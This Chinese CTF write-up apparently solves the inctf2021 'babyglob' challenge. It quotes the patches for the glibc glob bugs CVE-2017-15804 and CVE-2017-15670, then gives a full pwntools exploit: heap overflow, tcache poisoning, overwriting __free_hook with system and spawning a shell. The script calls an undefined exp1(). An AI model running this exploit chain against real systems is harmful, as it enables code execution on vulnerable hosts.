Lingze's blog Lingze's blog
timeline
about
friends
categories
tags

lingze

bin不是垃圾桶的意思!
timeline
about
friends
categories
tags
  • ctf_wp
  • inctf
lingze
2021-08-20
目录

inctf2021_babyglob

# inctf2021 baby glob

  • 分析
    • glob.c
  • 利用

赛时没去看的一个题目, 发现其实是个cve题目, 比较简单, 这题有点亏,

# 分析

题目给了个菜单题, 但是并没有看出来什么漏洞, 检查路径的部分跳到了glob.c文件中, 可以看到注释说这是glibc中的一部分, 2017年的版本,

题目描述也说, 更加安全的glob已经从2017年开始运行, 逆向稍微看下题目二进制文件, 题目本身虽然使用ubuntu20.04(glibc 2.31), 但是glob函数还是静态编译的glob.c文件中的,

然后尝试查找 glob 2017 cve等, 可以查到两个cve, cve-2017-15804 (opens new window) , cve-2017-15670 (opens new window),

从两者的patche中可以看到对应的漏洞点

# cve 2017 15804
# @@ -744,11 +744,11 @@ glob (const char *pattern, int flags, int (*errfunc) (const char *, int),
                   char *p = mempcpy (newp, dirname + 1,
                                      unescape - dirname - 1);
                   char *q = unescape;
-                  while (*q != '\0')
+                  while (q != end_name)
                     {
                       if (*q == '\\')
                         {
-                          if (q[1] == '\0')
+                          if (q + 1 == end_name)
1
2
3
4
5
6
7
8
9
10
11
12
# cve 2017 15670
# @@ -764,7 +764,7 @@ glob (const char *pattern, int flags, int (*errfunc) (const char *, int),
                   *p = '\0';
                 }
               else
-                *((char *) mempcpy (newp, dirname + 1, end_name - dirname))
+                *((char *) mempcpy (newp, dirname + 1, end_name - dirname - 1))
1
2
3
4
5
6
7

查看题目给的glob.c文件,发现其实两个都有,

# glob.c

这俩cve其实都比较简单, 都是在处理unescape的时候出现的问题, 两个cve也都给了对应的poc,

我们简单调试分析下glob,

发现输入的路径拆分为以下几个部分:

dirname + "\\" + unescape + "/" + endname + '/' + filename
1

其中, dirname[0] = '~', 且dirname[1] != ''/'\x00'时会拆分出来unescape和endname,

// glob.c: 547
  if ((flags & (GLOB_TILDE|GLOB_TILDE_CHECK)) && dirname[0] == '~')
    {
      if (dirname[1] == '\0' || dirname[1] == '/'
          || (!(flags & GLOB_NOESCAPE) && dirname[1] == '\\'
              && (dirname[2] == '\0' || dirname[2] == '/')))
        // 这一层判断要进入else中
1
2
3
4
5
6
7

然后在写入unescape的时候, 会新建一个chunk, 大小为end_name - dirname即dirname+unescape的大小, 然后向其中写入数据,

// glob.c: 734
                  newp = malloc (end_name - dirname);
                  if (newp == NULL)
                    {
                      retval = GLOB_NOSPACE;
                      goto out;
                    }
                  malloc_user_name = 1;
                }
              if (unescape != NULL)
                {
                  char *p = mempcpy (newp, dirname + 1,
                                     unescape - dirname - 1);
                  char *q = unescape;
                  // cve 2017 15804
                  while (*q != '\0')
                  // while (q != end_name)
                    {
                      if (*q == '\\')
                        {
                          if (q[1] == '\0')
                          // if (q + 1 == end_name)
                            {
                              /* "~fo\\o\\" unescape to user_name "foo\\",
                                 but "~fo\\o\\/" unescape to user_name
                                 "foo".  */
                              if (filename == NULL)
                                *p++ = '\\';
                              break;
                            }
                          ++q;
                        }
                      *p++ = *q++;
                    }
                  *p = '\0';
                }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

配合注释中的对应cve patche可以看出来, 因为只是在对比'\x00'截断位置, 因此可能将后续的end_name部分也写入进去, 造成堆溢出,

调试, 按照此格式构造了一个对应的数据, 栈溢出成功:


def exp():
    payload1 = flat('~', 'd' * 0x10, '\\', 'u'*0x30, '/', 'e' * (0x30-1), '/', 'filename')
    add(0, len(payload1), payload1)
    check(0)

1
2
3
4
5
6

image-20210820140755951

# 利用

于是我们拥有了一个堆溢出, 但是仍然要注意'\x00'截断, 伪造数据只可以伪造到size,

于是, 思路大致是,

通过堆布局配合glob的cve, 修改size, 从而实现堆重叠, 被覆写的堆块要先在tcache里, 这样可以伪造tcache的链表, 然后借助tcache机制分配出来free_hook, 随便free掉一个写binsh的堆块即可,

泄漏libc地址就add一个大chunk, 然后扔到unsortedbin里, 再次取回会有残留的地址,

def exp():

    add(0, 0x580, 'a' * 0x80)
    add(1, 0x10, '/bin/sh\x00')
    dele(0)
    add(0, 0x580, '')
    show(0)
    ru("[+] Path : ")
    leak = u64(re(8, 2))
    free_hook = leak + 0x1ce8
    libc = free_hook - 0x3ed8e8
    print(hex(leak))
    print(hex(free_hook))

    add(2, 0x40, 'a')
    add(3, 0x40, 'a')
    add(4, 0x80, 'a')
    add(5, 0x80, 'a')

    dele(2)
    dele(3)
    dele(5)

    payload1 = flat('~', p8(0xff) * 0x10, '\\', 'u' * 0x30, '/', 'e' * (0x8-1), '!\x01',  '/', 'f' * 0x5)
    add(9, len(payload1), payload1)
    check(9)

    dele(4)

    add(6, 0x110, flat('a' * 0x80, 0, 0x90, free_hook))

    add(7, 0x80, 'a' * 0x10)
    system = libc + 0x4f550
    add(8, 0x80, flat(system))
    dele(1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
点击查看
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2020 wlz <wlz@kyria>
#
# Distributed under terms of the MIT license.

from pwn import * 

pie  = 1
arch = 64
bps  = [0x0000000000002290, 0x00000000000030F0, 0x00000000000026D6]


def add(idx, size, path):
    sll('1')
    sll(str(idx))
    sll(str(size))
    sll(path)

def check(idx):
    sll('2')
    sll(str(idx))

def show(idx):
    sll('3')
    sll(str(idx))


def dele(idx):
    sll('4')
    sll(str(idx))


def exp():

    add(0, 0x580, 'a' * 0x80)
    add(1, 0x10, '/bin/sh\x00')
    dele(0)
    add(0, 0x580, '')
    show(0)
    ru("[+] Path : ")
    leak = u64(re(8, 2))
    free_hook = leak + 0x1ce8
    libc = free_hook - 0x3ed8e8
    print(hex(leak))
    print(hex(free_hook))

    add(2, 0x40, 'a')
    add(3, 0x40, 'a')
    add(4, 0x80, 'a')
    add(5, 0x80, 'a')

    dele(2)
    dele(3)
    dele(5)

    payload1 = flat('~', p8(0xff) * 0x10, '\\', 'u' * 0x30, '/', 'e' * (0x8-1), '!\x01',  '/', 'f' * 0x5)
    add(9, len(payload1), payload1)
    check(9)

    dele(4)

    add(6, 0x110, flat('a' * 0x80, 0, 0x90, free_hook))

    add(7, 0x80, 'a' * 0x10)
    system = libc + 0x4f550
    add(8, 0x80, flat(system))
    dele(1)




context.os='linux'

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

slog = {'name' : 111}
local = int(sys.argv[1])

if arch==64:
    context.arch='amd64'
if arch==32:
    context.arch='i386'

if local:
    cn = process('./bin')
    # cn = process(['./ld', './bin'], env={"LD_PRELOAD":"./libc"})
else:
    cn = remote( )

elf = ELF('./bin')


re  = lambda m, t : cn.recv(numb=m, timeout=t)
recv= lambda      : cn.recv()
ru  = lambda x    : cn.recvuntil(x)
rl  = lambda      : cn.recvline()
sd  = lambda x    : cn.send(x)
sl  = lambda x    : cn.sendline(x)
ia  = lambda      : cn.interactive()
sla = lambda a, b : cn.sendlineafter(a, b)
sa  = lambda a, b : cn.sendafter(a, b)
sll = lambda x    : cn.sendlineafter(">> ", x)
# after a, send b;
from pwnlib.util import cyclic
ff  = lambda arg, f=cyclic.de_bruijn(), l=None :flat(*arg, filler=f, length=l)

def slog_show():
    for i in slog:
        success(i + ' ==> ' + hex(slog[i]))

exp1()

slog_show()

ia()


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
上次更新: 6/24/2025, 5:07:55 AM
Theme by Vdoing | Copyright © 2019-2025 lingze | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式